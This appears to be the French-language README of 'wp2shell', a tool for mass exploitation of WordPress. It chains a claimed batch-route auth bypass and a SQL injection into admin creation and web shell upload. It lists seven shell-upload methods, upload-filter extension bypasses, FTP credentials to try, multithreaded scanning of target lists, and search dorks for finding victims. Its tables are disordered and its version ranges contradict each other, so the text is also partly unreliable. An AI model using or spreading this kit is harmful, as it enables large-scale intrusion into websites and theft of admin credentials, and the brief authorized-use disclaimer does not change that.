
WordPress Core RCE Pré-Auth — Confusion de routage par lots + Injection SQL
CVE-2026-63030 (confusion de route batch) + CVE-2026-60137 (injection SQL)
Kit d'exploitation sans dépendance pour la chaîne de vulnérabilités wp2shell dans WordPress Core. Une seule requête HTTP anonyme permet l'exécution de code à distance sur une installation WordPress par défaut, sans aucun plugin requis.
| Plage | Impact | Corrigé dans |
|---|---|---|
| 7.0.0 – 7.0.1 | RCE complète | 7.0.2 |
Aucun plugin ni configuration spéciale requis. Une installation WordPress nue est exploitable.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests seulement pour l'expander)log/scanned.txt ignore les cibles déjà scannéesLes 7 méthodes s'exécutent en parallèle via ThreadPoolExecutor. La première méthode qui réussit l'emporte et les autres sont annulées.
Extensions d'upload média : .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Identifiants FTP essayés : localhost / 127.0.0.1 avec root / www-data / identifiants admin WordPress
| Fichier | Contenu |
|---|---|
result.txt | Identifiants admin : url.com/wp-login.php:user:pass |
result_upload.txt | URLs des shells : shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
Cet outil est fourni pour la recherche en sécurité autorisée et les tests d'intrusion uniquement. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
Licence MIT. Voir LICENSE pour plus de détails.
| RCE complète |
| 6.9.5 |
| 6.8.0 – 6.8.5 | SQLi uniquement | 6.8.6 |
| # | Méthode | Description |
|---|
| 1 | direct-plugin | Téléverse le zip via /wp-admin/plugin-install.php |
| 2 | direct-theme | Téléverse le zip via /wp-admin/theme-install.php |
| 3 | rest-api | Envoie le zip en POST vers /wp-json/wp/v2/plugins avec cookie d'authentification |
| 4 | plugin-editor | Écrit le PHP directement via /wp-admin/plugin-editor.php |
| 5 | theme-editor | Écrit le PHP dans le répertoire du thème actif |
| 6 | ftp-bypass | Soumet les identifiants FTP lorsque WordPress les demande |
| 7 | media-upload | Téléverse le PHP via la médiathèque avec 15 variantes d'extension |
log/scanned.txt | Tous les hôtes scannés (ignorés automatiquement lors d'une nouvelle exécution) |